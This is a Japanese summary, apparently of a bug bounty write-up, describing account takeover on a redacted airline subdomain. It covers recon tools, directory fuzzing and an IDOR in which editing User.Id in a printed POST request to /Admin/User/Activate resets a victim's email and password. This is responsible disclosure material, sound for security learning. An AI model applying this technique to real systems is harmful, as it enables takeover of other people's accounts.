Hello there, ('ω')ノ
世界最大の航空会社の1つをハッキングした方法を。
脆弱性:
IDOR
アカウントの乗っ取り
認証の欠陥
記事:
https://medium.com/@sazouki/how-i-hacked-one-of-the-biggest-airline-in-the-world-e7810dc43791
今回は、世界で有名な航空会社の1つですべてのアカウントを。
乗っ取ることができたバグについて。
redacted.comと呼ぶことに。
このプログラムの範囲は広く、さまざまなサブドメインで。
いくつかのアカウントの乗っ取りが見つかって。
いつものように、サブドメインの列挙から始めますが、reconftwを使用して。
ライブドメインを抽出することをお勧めして。
サインアップできるドメインx.y.redacted.comが1つ見つかりましたが。
管理者がアカウントを承認するまでログインできず。
https://github.com/six2dez/reconftw
アカウントを作成すると、下記のリンクが記載された確認メールが届いて。
https://x.y.redacted.com/Home/Index?Value= [Token]
そのリンクをクリックするとアカウントが確認されますが。
管理者の承認がないためログインできず。
簡単なディレクトリファジングで、ログインをバイパスできる下記の。
エンドポイントが見つかって。
https://x.y.redacted.com/Admin/User/Me
また、gospiderは興味深い下記のエンドポイントを見つけましたが。
無効なトークンをスローして。
/Admin/User/activate
https://github.com/jaeles-project/gospider
メールの確認で受け取ったトークンを追加することにして。
https://x.y.redacted.com/Admin/User/activate?value=[Token]
驚いたことに、アカウントの詳細を編集して新しいパスワードを。
設定できることがわかって。
リクエストは下記のとおりで。
POST /Admin/User/Activate HTTP/2
Host: x.y.redacted.com
Cookie: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 745
Connection: close
User.Id=127874&User.Name=sazouki&User.U_status=NonVerified&User.FirstName=sazouki&User.MiddleName=victim&User.LastName=victim&User.PreferredFirstName=&User.PreferredMiddleName=&User.PreferredLastName=&User.UserProfile.WorkPhone=&User.UserProfile.CellPhone=66666666666&User.NewPassword=XXX&User.ConfirmPassword=XXX&BirthMonth=11&Birth_Date=19&BirthYear=1992&User.Gender=M&User.AllowFullAccessCompanyAdmin=false&User.SecurityQuestionID=6&User.SecurityAnswer=1&User.SecurityQuestionID2=7&User.SecurityAnswer2=1&User.SecurityQuestionID3=8&User.SecurityAnswer3=1&User.GDSSyncType=LegalName&User.UserProfile.ReceiptEmail=sazouki@wearehackerone.com
User.Idを被害者IDに変更し、リクエストを転送すると。
最終的に彼のアカウントの電子メールとパスワードが変更されて。
Best regards, (^^ゞ